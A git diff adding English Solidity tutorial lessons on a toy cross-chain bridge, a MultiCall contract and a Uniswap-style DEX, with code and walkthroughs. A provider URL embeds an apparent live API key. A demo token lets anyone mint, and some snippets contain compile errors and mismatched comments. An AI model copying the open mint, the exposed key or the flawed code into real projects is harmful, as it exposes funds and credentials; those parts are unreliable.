wtf.academy](https://wtf.academy) + +All codes and tutorials are open source on github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +----- + +In this lecture, we introduce cross-chain bridges, infrastructure that can transfer assets from one blockchain to another, and implement a simple cross-chain bridge. + + +## 1. What is a cross-chain bridge? + +A cross-chain bridge is a blockchain protocol that allows digital assets and information to be moved between two or more blockchains. For example, an ERC20 token running on the Ethereum mainnet can be transferred to other Ethereum-compatible sidechains or independent chains through cross-chain bridges. + +At the same time, cross-chain bridges are not natively supported by the blockchain, and cross-chain operations require a trusted third party to perform, which also brings risks. In the past two years, attacks on cross-chain bridges have caused more than **$2 billion** in user asset losses. + +## 2. Types of cross-chain bridges + +There are three main types of cross-chain bridges: + +- **Burn/Mint**: Destroy (burn) tokens on the source chain, and then create (mint) the same number of tokens on the target chain. The advantage of this method is that the total supply of tokens remains unchanged, but the cross-chain bridge needs to have permission to mint the tokens, which is suitable for project parties to build their own cross-chain bridges. + +![](./img/54-1.png) + +- **Stake/Mint**: Lock (stake) tokens on the source chain, and then create (mint) the same number of tokens (certificates) on the target chain. Tokens on the source chain are locked and unlocked when the tokens are moved from the target chain back to the source chain. This is a solution commonly used by cross-chain bridges. It does not require any permissions, but the risk is also high. When the assets of the source chain are hacked, the credentials on the target chain will become air. + + ![](./img/54-2.png) + +- **Stake/Unstake**: Lock (stake) tokens on the source chain, and then release (unstake) the same number of tokens on the target chain. The tokens on the target chain can be exchanged back to the tokens on the source chain at any time. currency. This method requires the cross-chain bridge to have locked tokens on both chains, and the threshold is high. Users generally need to be encouraged to lock up on the cross-chain bridge. + + ![](./img/54-3.png) + +## 3. Build a simple cross-chain bridge + +In order to better understand this cross-chain bridge, we will build a simple cross-chain bridge and implement ERC20 token transfer between the Goerli test network and the Sepolia test network. We use the burn/mint method, the tokens on the source chain will be destroyed and created on the target chain. This cross-chain bridge consists of a smart contract (deployed on both chains) and an Ethers.js script. + +> **Please note**, this is a very simple cross-chain bridge implementation and is for educational purposes only. It does not deal with some possible problems, such as transaction failure, chain reorganization, etc. In a production environment, it is recommended to use a professional cross-chain bridge solution or other fully tested and audited frameworks. + +### 3.1 Cross-chain token contract + +First, we need to deploy an ERC20 token contract, `CrossChainToken`, on the Goerli and Sepolia testnets. This contract defines the name, symbol, and total supply of the token, as well as a `bridge()` function for cross-chain transfers. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.10; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; + +contract CrossChainToken is ERC20, Ownable { + + // Bridge event + event Bridge(address indexed user, uint256 amount); + // Mint event + event Mint(address indexed to, uint256 amount); + + /** + * @param name Token Name + * @param symbol Token Symbol + * @param totalSupply Token Supply + */ + constructor( + string memory name, + string memory symbol, + uint256 totalSupply + ) payable ERC20(name, symbol) { + _mint(msg.sender, totalSupply); + } + + /** + * Bridge function + * @param amount: burn amount of token on the current chain and mint on the other chain + */ + function bridge(uint256 amount) public { + _burn(msg.sender, amount); + emit Bridge(msg.sender, amount); + } + + /** + * Mint function + */ + function mint(address to, uint amount) external onlyOwner { + _mint(to, amount); + emit Mint(to, amount); + } +} +``` + +This contract has three main functions: + +- `constructor()`: The constructor, which will be called once when deploying the contract, is used to initialize the name, symbol and total supply of the token. + +- `bridge()`: The user calls this function to perform cross-chain transfer. It will destroy the number of tokens specified by the user and release the `Bridge` event. + +- `mint()`: Only the owner of the contract can call this function to handle cross-chain events and release the `Mint` event. When the user calls the `bridge()` function on another chain to destroy the token, the script will listen to the `Bridge` event and mint the token for the user on the target chain. + +### 3.2 Cross-chain script + +With the token contract in place, we need a server to handle cross-chain events. We can write an ethers.js script (v6 version) to listen to the `Bridge` event, and when the event is triggered, create the same number of tokens on the target chain. If you don’t know Ethers.js, you can read [WTF Ethers Minimalist Tutorial](https://github.com/WTFAcademy/WTF-Ethers). + +```javascript +import { ethers } from "ethers"; + +//Initialize the providers of the two chains +const providerGoerli = new ethers.JsonRpcProvider("Goerli_Provider_URL"); +const providerSepolia = new ethers.JsonRpcProvider("Sepolia_Provider_URL://eth-sepolia.g.alchemy.com/v2/RgxsjQdKTawszh80TpJ-14Y8tY7cx5W2"); + +//Initialize the signers of the two chains +// privateKey fills in the private key of the administrator's wallet +const privateKey = "Your_Key"; +const walletGoerli = new ethers.Wallet(privateKey, providerGoerli); +const walletSepolia = new ethers.Wallet(privateKey, providerSepolia); + +//Contract address and ABI +const contractAddressGoerli = "0xa2950F56e2Ca63bCdbA422c8d8EF9fC19bcF20DD"; +const contractAddressSepolia = "0xad20993E1709ed13790b321bbeb0752E50b8Ce69"; + +const abi = [ + "event Bridge(address indexed user, uint256 amount)", + "function bridge(uint256 amount) public", + "function mint(address to, uint amount) external", +]; + +//Initialize contract instance +const contractGoerli = new ethers.Contract(contractAddressGoerli, abi, walletGoerli); +const contractSepolia = new ethers.Contract(contractAddressSepolia, abi, walletSepolia); + +const main = async () => { + try{ + console.log(`Start listening to cross-chain events`) + + // Listen to the Bridge event of chain Sepolia, and then perform the mint operation on Goerli to complete the cross-chain + contractSepolia.on("Bridge", async (user, amount) => { + console.log(`Bridge event on Chain Sepolia: User ${user} burned ${amount} tokens`); + + // Performing burn operation + let tx = await contractGoerli.mint(user, amount); + await tx.wait(); + + console.log(`Minted ${amount} tokens to ${user} on Chain Goerli`); + }); + + // Listen to the Bridge event of chain Sepolia, and then perform the mint operation on Goerli to complete the cross-chain + contractGoerli.on("Bridge", async (user, amount) => { + console.log(`Bridge event on Chain Goerli: User ${user} burned ${amount} tokens`); + + // Performing burn operation + let tx = await contractSepolia.mint(user, amount); + await tx.wait(); + + console.log(`Minted ${amount} tokens to ${user} on Chain Sepolia`); + }); + + }catch(e){ + console.log(e); + + } +} + +main(); +``` + +## Remix Reappearance + +1. Deploy the `CrossChainToken` contract on the Goerli and Sepolia test chains respectively. The contract will automatically mint 10,000 tokens for us. + + ![](./img/54-4.png) + +2. Complete the RPC node URL and administrator private key in the cross-chain script `crosschain.js`, fill in the token contract addresses deployed in Goerli and Sepolia into the corresponding locations, and run the script. + +3. Call the `bridge()` function of the token contract on the Goerli chain to cross-chain 100 tokens. + + ![](./img/54-6.png) + +4. The script listens to the cross-chain event and mints 100 tokens on the Sepolia chain. + + ![](./img/54-7.png) + +5. Call `balance()` on the Sepolia chain to check the balance, and find that the token balance has changed to 10,100. The cross-chain is successful! + + ![](./img/54-8.png) + +## Summary + +In this lecture, we introduced the cross-chain bridge, which allows digital assets and information to be moved between two or more blockchains, making it convenient for users to operate assets on multiple chains. At the same time, it also carries great risks. Attacks on cross-chain bridges in the past two years have caused more than **2 billion US dollars** in user asset losses. In this tutorial, we build a simple cross-chain bridge and implement ERC20 token transfer between the Goerli testnet and the Sepolia testnet. I believe that through this tutorial, you will have a deeper understanding of cross-chain bridges. diff --git a/Languages/en/55_MultiCall/MCERC20.sol b/Languages/en/55_MultiCall/MCERC20.sol new file mode 100644 index 000000000..3da8a9c69 --- /dev/null +++ b/Languages/en/55_MultiCall/MCERC20.sol @@ -0,0 +1,11 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +contract MCERC20 is ERC20{ + constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_){} + + function mint(address to, uint amount) external { + _mint(to, amount); + } +} \ No newline at end of file diff --git a/Languages/en/55_MultiCall/MultiCall.sol b/Languages/en/55_MultiCall/MultiCall.sol new file mode 100644 index 000000000..db806b197 --- /dev/null +++ b/Languages/en/55_MultiCall/MultiCall.sol @@ -0,0 +1,37 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +contract Multicall { + // Call structure, including target contract target, whether to allow call failure allowFailure, and call data + struct Call { + address target; + bool allowFailure; + bytes callData; + } + + // Result structure, including whether the call is successful and return data + struct Result { + bool success; + bytes returnData; + } + + /// @notice merges multiple calls (supporting different contracts/different methods/different parameters) into one call + /// @param calls Array composed of Call structure + /// @return returnData An array composed of Result structure + function multicall(Call[] calldata calls) public returns (Result[] memory returnData) { + uint256 length = calls.length; + returnData = new Result[](length); + Call calldata calli; + + // Called sequentially in the loop + for (uint256 i = 0; i < length; i++) { + Result memory result = returnData[i]; + calli = calls[i]; + (result.success, result.returnData) = calli.target.call(calli.callData); + // If calli.allowFailure and result.success are both false, revert + if (!(calli.allowFailure || result.success)){ + revert("Multicall: call failed"); + } + } + } +} diff --git a/Languages/en/55_MultiCall/img/55-1.png b/Languages/en/55_MultiCall/img/55-1.png new file mode 100644 index 000000000..cc5424e37 Binary files /dev/null and b/Languages/en/55_MultiCall/img/55-1.png differ diff --git a/Languages/en/55_MultiCall/img/55-2 b/Languages/en/55_MultiCall/img/55-2 new file mode 100644 index 000000000..8b1378917 --- /dev/null +++ b/Languages/en/55_MultiCall/img/55-2 @@ -0,0 +1 @@ + diff --git a/Languages/en/55_MultiCall/img/55-2.png b/Languages/en/55_MultiCall/img/55-2.png new file mode 100644 index 000000000..475f2c9ab Binary files /dev/null and b/Languages/en/55_MultiCall/img/55-2.png differ diff --git a/Languages/en/55_MultiCall/readme.md b/Languages/en/55_MultiCall/readme.md new file mode 100644 index 000000000..fd23e04c7 --- /dev/null +++ b/Languages/en/55_MultiCall/readme.md @@ -0,0 +1,134 @@ +--- +title: 55. Multiple calls +tags: + - solidity + - erc20 +--- + +# WTF Minimalist introduction to Solidity: 55. Multiple calls + +I'm recently re-learning solidity, consolidating the details, and writing a "WTF Solidity Minimalist Introduction" for novices (programming experts can find another tutorial), updating 1-3 lectures every week. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[WeChat Group](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) |[Official website wtf.academy](https://wtf.academy) + +All codes and tutorials are open source on github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +In this lecture, we will introduce the MultiCall multi-call contract, which is designed to execute multiple function calls in one transaction, which can significantly reduce transaction fees and improve efficiency. + +## MultiCall + +In Solidity, the MultiCall (multiple call) contract is designed to allow us to execute multiple function calls in one transaction. Its advantages are as follows: + +1. Convenience: MultiCall allows you to call different functions of different contracts in one transaction, and these calls can also use different parameters. For example, you can query the ERC20 token balances of multiple addresses at one time. + +2. Save gas: MultiCall can combine multiple transactions into multiple calls in one transaction, thereby saving gas. + +3. Atomicity: MultiCall allows users to perform all operations in one transaction, ensuring that all operations either succeed or fail, thus maintaining atomicity. For example, you can conduct a series of token transactions in a specific order. + +## MultiCall Contract + +Next, let’s study the MultiCall contract, which is simplified from MakerDAO’s [MultiCall](https://github.com/mds1/multicall/blob/main/src/Multicall3.sol). + +The MultiCall contract defines two structures: + +- `Call`: This is a call structure that contains the target contract `target` to be called, a flag `allowFailure` indicating whether the call failure is allowed, and the bytecode `call data` to be called. + +- `Result`: This is a result structure that contains the flag `success` that indicates whether the call was successful and the bytecode returned by the call `return data`. + +The contract contains only one function, which is used to perform multiple calls: + +- `multicall()`: The parameter of this function is an array composed of Call structures. This can ensure that the length of the target and data passed in are consistent. The function performs multiple calls through a loop and rolls back the transaction if the call fails. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +contract Multicall { + // Call structure, including target contract target, whether to allow call failure allowFailure, and call data + struct Call { + address target; + bool allowFailure; + bytes callData; + } + + // Result structure, including whether the call is successful and return data + struct Result { + bool success; + bytes returnData; + } + +/// @notice merges multiple calls (supporting different contracts/different methods/different parameters) into one call + /// @param calls Array composed of Call structure + /// @return returnData An array composed of Result structure + function multicall(Call[] calldata calls) public returns (Result[] memory returnData) { + uint256 length = calls.length; + returnData = new Result[](length); + Call calldata calli; + + // Called sequentially in the loop + for (uint256 i = 0; i < length; i++) { + Result memory result = returnData[i]; + calli = calls[i]; + (result.success, result.returnData) = calli.target.call(calli.callData); + // If calli.allowFailure and result.success are both false, revert + if (!(calli.allowFailure || result.success)){ + revert("Multicall: call failed"); + } + } + } +} +``` + +## Remix Reappearance + +1. We first deploy a very simple ERC20 token contract `MCERC20` and record the contract address. + + ```solidity + // SPDX-License-Identifier: MIT + pragma solidity ^0.8.19; + import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + + contract MCERC20 is ERC20{ + constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_){} + + function mint(address to, uint amount) external { + _mint(to, amount); + } + } + ``` + +2. Deploy the `MultiCall` contract. + +3. Get the `calldata` to be called. We will mint 50 and 100 units of tokens respectively for 2 addresses. You can fill in the parameters of `mint()` on the remix call page, and then click the **Calldata** button to copy the encoded calldata. Come down. example: + + ```solidity + to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + amount: 50 + calldata: 0x40c10f190000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000000000000000000000032 + ``` + + .[](./img/55-1.png) + +If you don’t understand `calldata`, you can read WTF Solidity [Lecture 29]. + +4. Use the `multicall()` function of `MultiCall` to call the `mint()` function of the ERC20 token contract to mint 50 and 100 units of tokens respectively to the two addresses. example: + ```solidity + calls: [["0x0fC5025C764cE34df352757e82f7B5c4Df39A836", true, "0x40c10f190000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000000000000000000000032"], ["0x0fC5025C764cE34df352757e82f7B5c4Df39A836", false, "0x40c10f19000000000000000000000000ab8483f64d9c6d1ecf9b849ae677dd3315835cb20000000000000000000000000000000000000000000000000000000000000064"]] + ``` + +5. Use the `multicall()` function of `MultiCall` to call the `balanceOf()` function of the ERC20 token contract to query the balance of the two addresses just minted. The selector of the `balanceOf()` function is `0x70a08231`. example: + + ```solidity + [["0x0fC5025C764cE34df352757e82f7B5c4Df39A836", true, "0x70a082310000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc4"], ["0x0fC5025C764cE34df352757e82f7B5c4Df39A836", false, "0x70a08231000000000000000000000000ab8483f64d9c6d1ecf9b849ae677dd3315835cb2"]] + ``` + + The return value of the call can be viewed in `decoded output`. The balances of the two addresses are `0x0000000000000000000000000000000000000000000000000000000000000000032` and `0x00000000000000000000000000000 00000000000000000000000000000000000064`, that is, 50 and 100, the call was successful! + .[](./img/55-2.png) + +## Summary + +In this lecture, we introduced the MultiCall multi-call contract, which allows you to execute multiple function calls in one transaction. It should be noted that different MultiCall contracts have some differences in parameters and execution logic. Please read the source code carefully when using them. diff --git a/Languages/en/56_DEX/SimpleSwap.sol b/Languages/en/56_DEX/SimpleSwap.sol new file mode 100644 index 000000000..347a9da1c --- /dev/null +++ b/Languages/en/56_DEX/SimpleSwap.sol @@ -0,0 +1,157 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +contract SimpleSwap is ERC20 { + //Token contract + IERC20 public token0; + IERC20 public token1; + + //Token reserve amount + uint public reserve0; + uint public reserve1; + + // event + event Mint(address indexed sender, uint amount0, uint amount1); + event Burn(address indexed sender, uint amount0, uint amount1); + eventSwap( + address indexed sender, + uint amountIn, + address tokenIn, + uint amountOut, + address tokenOut + ); + + //Constructor, initialize token address + constructor(IERC20 _token0, IERC20 _token1) ERC20("SimpleSwap", "SS") { + token0 = _token0; + token1 = _token1; + } + + // Get the minimum of two numbers + function min(uint x, uint y) internal pure returns (uint z) { + z = x < y ? x : y; + } + + // Compute square roots babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) + function sqrt(uint y) internal pure returns (uint z) { + if (y > 3) { + z = y; + uint x = y / 2 + 1; + while (x < z) { + z = x; + x = (y / x + x) / 2; + } + } else if (y != 0) { + z = 1; + } + } + +// Add liquidity, transfer tokens, and mint LP + // If added for the first time, the amount of LP minted = sqrt(amount0 * amount1) + // If it is not the first time, the amount of LP minted = min(amount0/reserve0, amount1/reserve1)* totalSupply_LP + // @param amount0Desired The amount of token0 added + // @param amount1Desired The amount of token1 added + function addLiquidity(uint amount0Desired, uint amount1Desired) public returns(uint liquidity){ + // To transfer the added liquidity to the Swap contract, you need to give the Swap contract authorization in advance. + token0.transferFrom(msg.sender, address(this), amount0Desired); + token1.transferFrom(msg.sender, address(this), amount1Desired); + // Calculate added liquidity + uint _totalSupply = totalSupply(); + if (_totalSupply == 0) { + // If liquidity is added for the first time, mint L = sqrt(x * y) units of LP (liquidity provider) tokens + liquidity = sqrt(amount0Desired * amount1Desired); + } else { + // If it is not the first time to add liquidity, LP will be minted in proportion to the number of added tokens, and the smaller ratio of the two tokens will be used. + liquidity = min(amount0Desired * _totalSupply / reserve0, amount1Desired * _totalSupply /reserve1); + } + +// Check the amount of LP minted + require(liquidity > 0, 'INSUFFICIENT_LIQUIDITY_MINTED'); + + // Update reserve + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + // Mint LP tokens for liquidity providers to represent the liquidity they provide + _mint(msg.sender, liquidity); + + emit Mint(msg.sender, amount0Desired, amount1Desired); + } + +// Remove liquidity, destroy LP, and transfer tokens + // Transfer quantity = (liquidity / totalSupply_LP) * reserve + // @param liquidity The amount of liquidity removed + function removeLiquidity(uint liquidity) external returns (uint amount0, uint amount1) { + // Get balance + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + // Calculate the number of tokens to be transferred according to the proportion of LP + uint _totalSupply = totalSupply(); + amount0 = liquidity * balance0 / _totalSupply; + amount1 = liquidity * balance1 / _totalSupply; + // Check the number of tokens + require(amount0 > 0 && amount1 > 0, 'INSUFFICIENT_LIQUIDITY_BURNED'); + // Destroy LP + _burn(msg.sender, liquidity); + // Transfer tokens + token0.transfer(msg.sender, amount0); + token1.transfer(msg.sender, amount1); + // Update reserve + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Burn(msg.sender, amount0, amount1); + } + +// Given the amount of an asset and the reserve of a token pair, calculate the amount to exchange for another token + // Since the product is constant + // Before swapping: k = x * y + // After swapping: k = (x + delta_x) * (y + delta_y) + // Available delta_y = - delta_x * y / (x + delta_x) + // Positive/negative signs represent transfer in/out + function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) public pure returns (uint amountOut) { + require(amountIn > 0, 'INSUFFICIENT_AMOUNT'); + require(reserveIn > 0 && reserveOut > 0, 'INSUFFICIENT_LIQUIDITY'); + amountOut = amountIn * reserveOut / (reserveIn + amountIn); + } + + // swap tokens + // @param amountIn the number of tokens used for exchange + // @param tokenIn token contract address used for exchange + // @param amountOutMin the minimum amount to exchange for another token + function swap(uint amountIn, IERC20 tokenIn, uint amountOutMin) external returns (uint amountOut, IERC20 tokenOut){ + require(amountIn > 0, 'INSUFFICIENT_OUTPUT_AMOUNT'); + require(tokenIn == token0 || tokenIn == token1, 'INVALID_TOKEN'); + + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + + if(tokenIn == token0){ + // If token0 is exchanged for token1 + tokenOut = token1; + // Calculate the number of token1 that can be exchanged + amountOut = getAmountOut(amountIn, balance0, balance1); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + //Exchange + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + }else{ + // If token1 is exchanged for token0 + tokenOut = token0; + // Calculate the number of token1 that can be exchanged + amountOut = getAmountOut(amountIn, balance1, balance0); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + //Exchange + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + } + + // Update reserve + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Swap(msg.sender, amountIn, address(tokenIn), amountOut, address(tokenOut)); + } +} diff --git a/Languages/en/56_DEX/img/56-1.png b/Languages/en/56_DEX/img/56-1.png new file mode 100644 index 000000000..3189e4f52 Binary files /dev/null and b/Languages/en/56_DEX/img/56-1.png differ diff --git a/Languages/en/56_DEX/readme.md b/Languages/en/56_DEX/readme.md new file mode 100644 index 000000000..427451b3c --- /dev/null +++ b/Languages/en/56_DEX/readme.md @@ -0,0 +1,444 @@ +--- +title: 56. Decentralized Exchange +tags: + - solidity + - erc20 + - Defi +--- + +# WTF A simple introduction to Solidity: 56. Decentralized exchange + +I'm recently re-learning solidity, consolidating the details, and writing a "WTF Solidity Minimalist Introduction" for novices (programming experts can find another tutorial), updating 1-3 lectures every week. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[WeChat Group](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) |[Official website wtf.academy](https://wtf.academy) + +All codes and tutorials are open source on github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +----- + +In this lecture, we will introduce the Constant Product Automated Market Maker (CPAMM), which is the core mechanism of decentralized exchanges and is used by a series of DEXs such as Uniswap and PancakeSwap. The teaching contract is simplified from the [Uniswap-v2](https://github.com/Uniswap/v2-core) contract and includes the core functions of CPAMM. + +## Automatic market maker + +An Automated Market Maker (AMM) is an algorithm or a smart contract that runs on the blockchain, which allows decentralized transactions between digital assets. The introduction of AMM has created a new trading method that does not require traditional buyers and sellers to match orders. Instead, a liquidity pool is created through a preset mathematical formula (such as a constant product formula), allowing users to trade at any time. Trading. + +![](./img/56-1.png) + +Next, we will introduce AMM to you, taking the markets of Coke ($COLA) and US Dollar ($USD) as examples. For convenience, we specify the symbols: $x$ and $y$ respectively represent the total amount of cola and dollars in the market, $\Delta x$ and $\Delta y$ respectively represent the changes in cola and dollars in a transaction, $L$ and $\Delta L$ represent total liquidity and changes in liquidity. + +### Constant Sum Automated Market Maker + +The Constant Sum Automated Market Maker (CSAMM) is the simplest automated market maker model, and we will start with it. Its constraints during transactions are: + +$$k=x+y$$ + +where $k$ is a constant. That is, the sum of the quantities of colas and dollars in the market remains the same before and after the trade. For example, there are 10 bottles of Coke and $10 in the market. At this time, $k=20$, and the price of Coke is $1/bottle. I was thirsty and wanted to exchange my $2 for a Coke. The total number of dollars in the post-trade market becomes 12. According to the constraint $k=20$, there are 8 bottles of Coke in the post-trade market at a price of $1/bottle. I got 2 bottles of Coke in the deal for $1/bottle. + +The advantage of CSAMM is that it can ensure that the relative price of tokens remains unchanged. This is very important in a stable currency exchange. Everyone hopes that 1 USDT can always be exchanged for 1 USDC. But its shortcomings are also obvious. Its liquidity is easily exhausted: I only need $10 to exhaust the liquidity of Coke in the market, and other users who want to drink Coke will not be able to trade. + +Below we introduce the constant product automatic market maker with "unlimited" liquidity. + +### Constant product automatic market maker + +Constant Product Automatic Market Maker (CPAMM) is the most popular automatic market maker model and was first adopted by Uniswap. Its constraints during transactions are: + +$$k=x*y$$ + +where $k$ is a constant. That is, the product of the quantities of colas and dollars in the market remains the same before and after the trade. In the same example, there are 10 bottles of Coke and $10 in the market. At this time, $k=100$, and the price of Coke is $1/bottle. I was thirsty and wanted to exchange $10 for a Coke. If it were in CSAMM, my transaction would be in exchange for 10 bottles of Coke and deplete the liquidity of Cokes in the market. But in CPAMM, the total amount of dollars in the post-trade market becomes 20. According to the constraint $k=100$, there are 5 bottles of Coke in the post-trade market with a price of $20/5 = 4$ dollars/bottle. I got 5 bottles of Coke in the deal at a price of $10/5 = $2$ per bottle. + +The advantage of CPAMM is that it has "unlimited" liquidity: the relative price of tokens will change with buying and selling, and the scarcer tokens will have a higher relative price to avoid exhaustion of liquidity. In the example above, the transaction increases the price of Coke from $1/bottle to $4/bottle, thus preventing Coke on the market from being bought out. + +Next, let us build a minimalist decentralized exchange based on CPAMM. + +## Decentralized exchange + +Next, we use smart contracts to write a decentralized exchange `SimpleSwap` to support users to trade a pair of tokens. + +`SimpleSwap` inherits the ERC20 token standard and facilitates the recording of liquidity provided by liquidity providers. In the constructor, we specify a pair of token addresses `token0` and `token1`. The exchange only supports this pair of tokens. `reserve0` and `reserve1` record the reserve amount of tokens in the contract. + +```solidity +contract SimpleSwap is ERC20 { + //Token contract + IERC20 public token0; + IERC20 public token1; + + //Token reserve amount + uint public reserve0; + uint public reserve1; + + //Constructor, initialize token address + constructor(IERC20 _token0, IERC20 _token1) ERC20("SimpleSwap", "SS") { + token0 = _token0; + token1 = _token1; + } +} +``` + +There are two main types of participants in the exchange: Liquidity Provider (LP) and Trader. Below we implement the functions of these two parts respectively. + +### Liquidity Provision + +Liquidity providers provide liquidity to the market, allowing traders to obtain better quotes and liquidity, and charge a certain fee. + +First, we need to implement the functionality to add liquidity. When a user adds liquidity to the token pool, the contract records the added LP share. According to Uniswap V2, LP share is calculated as follows: + +1. When liquidity is added to the token pool for the first time, the LP share $\Delta{L}$ is determined by the square root of the product of the number of added tokens: + + $$\Delta{L}=\sqrt{\Delta{x} *\Delta{y}}$$ + +1. When liquidity is not added for the first time, the LP share is determined by the ratio of the number of added tokens to the pool’s token reserves (the smaller of the two tokens): + + $$\Delta{L}=L*\min{(\frac{\Delta{x}}{x}, \frac{\Delta{y}}{y})}$$ + +Because the `SimpleSwap` contract inherits the ERC20 token standard, after calculating the LP share, the share can be minted to the user in the form of tokens. + +The following `addLiquidity()` function implements the function of adding liquidity. The main steps are as follows: + +1. To transfer the tokens added by the user to the contract, the user needs to authorize the contract in advance. +2. Calculate the added liquidity share according to the formula and check the number of minted LPs. +3. Update the token reserve of the contract. +4. Mint LP tokens for liquidity providers. +5. Release the `Mint` event. + +```solidity +event Mint(address indexed sender, uint amount0, uint amount1); + +// Add liquidity, transfer tokens, and mint LP +// @param amount0Desired The amount of token0 added +// @param amount1Desired The amount of token1 added +function addLiquidity(uint amount0Desired, uint amount1Desired) public returns(uint liquidity){ + // To transfer the added liquidity to the Swap contract, you need to give the Swap contract authorization in advance. + token0.transferFrom(msg.sender, address(this), amount0Desired); + token1.transferFrom(msg.sender, address(this), amount1Desired); + // Calculate added liquidity + uint _totalSupply = totalSupply(); + if (_totalSupply == 0) { + // If liquidity is added for the first time, mint L = sqrt(x * y) units of LP (liquidity provider) tokens + liquidity = sqrt(amount0Desired * amount1Desired); + } else { + // If it is not the first time to add liquidity, LP will be minted in proportion to the number of added tokens, and the smaller ratio of the two tokens will be used. + liquidity = min(amount0Desired * _totalSupply / reserve0, amount1Desired * _totalSupply /reserve1); + + // Check the amount of LP minted + require(liquidity > 0, 'INSUFFICIENT_LIQUIDITY_MINTED'); + + // Update reserve + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + // Mint LP tokens for liquidity providers to represent the liquidity they provide + _mint(msg.sender, liquidity); + + emit Mint(msg.sender, amount0Desired, amount1Desired); +} +``` + +Next, we need to implement the functionality to remove liquidity. When a user removes liquidity $\Delta{L}$ from the pool, the contract must destroy the LP share tokens and return the tokens to the user in proportion. The calculation formula for returning tokens is as follows: + +$$\Delta{x}={\frac{\Delta{L}}{L} * x}$$ +$$\Delta{y}={\frac{\Delta{L}}{L} * y}$$ + +The following `removeLiquidity()` function implements the function of removing liquidity. The main steps are as follows: + +1. Get the token balance in the contract. +2. Calculate the number of tokens to be transferred according to the proportion of LP. +3. Check the number of tokens. +4. Destroy LP shares. +5. Transfer the corresponding tokens to the user. +6. Update reserves. +5. Release the `Burn` event. + +```solidity +// Remove liquidity, destroy LP, and transfer tokens +// Transfer quantity = (liquidity / totalSupply_LP) * reserve +// @param liquidity The amount of liquidity removed +function removeLiquidity(uint liquidity) external returns (uint amount0, uint amount1) { + // Get balance + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + // Calculate the number of tokens to be transferred according to the proportion of LP + uint _totalSupply = totalSupply(); + amount0 = liquidity * balance0 / _totalSupply; + amount1 = liquidity * balance1 / _totalSupply; + // Check the number of tokens + require(amount0 > 0 && amount1 > 0, 'INSUFFICIENT_LIQUIDITY_BURNED'); + // Destroy LP +_burn(msg.sender, liquidity); + // Transfer tokens + token0.transfer(msg.sender, amount0); + token1.transfer(msg.sender, amount1); + // Update reserve + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Burn(msg.sender, amount0, amount1); +} +``` + +At this point, the functions related to the liquidity provider in the contract are completed, and the next step is the transaction part. + +### trade + +In a Swap contract, users can trade one token for another. So how many units of token1 can I exchange for $\Delta{x}$ units of token0? Let us briefly derive it below. + +According to the constant product formula, before trading: + +$$k=x*y$$ + +After the transaction, there are: + +$$k=(x+\Delta{x})*(y+\Delta{y})$$ + +The value of $k$ remains unchanged before and after the transaction. Combining the above equations, we can get: + +$$\Delta{y}=-\frac{\Delta{x}*y}{x+\Delta{x}}$$ + +Therefore, the number of tokens $\Delta{y}$ that can be exchanged is determined by $\Delta{x}$, $x$, and $y$. Note that $\Delta{x}$ and $\Delta{y}$ have opposite signs, as transferring in increases the token reserve, while transferring out decreases it. + +The `getAmountOut()` below implements, given the amount of an asset and the reserve of a token pair, calculates the amount to exchange for another token. + +```solidity +// Given the amount of an asset and the reserve of a token pair, calculate the amount to exchange for another token +function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) public pure returns (uint amountOut) { + require(amountIn > 0, 'INSUFFICIENT_AMOUNT'); + require(reserveIn > 0 && reserveOut > 0, 'INSUFFICIENT_LIQUIDITY'); + amountOut = amountIn * reserveOut / (reserveIn + amountIn); +} +``` + +With this core formula in place, we can start implementing the trading function. The following `swap()` function implements the function of trading 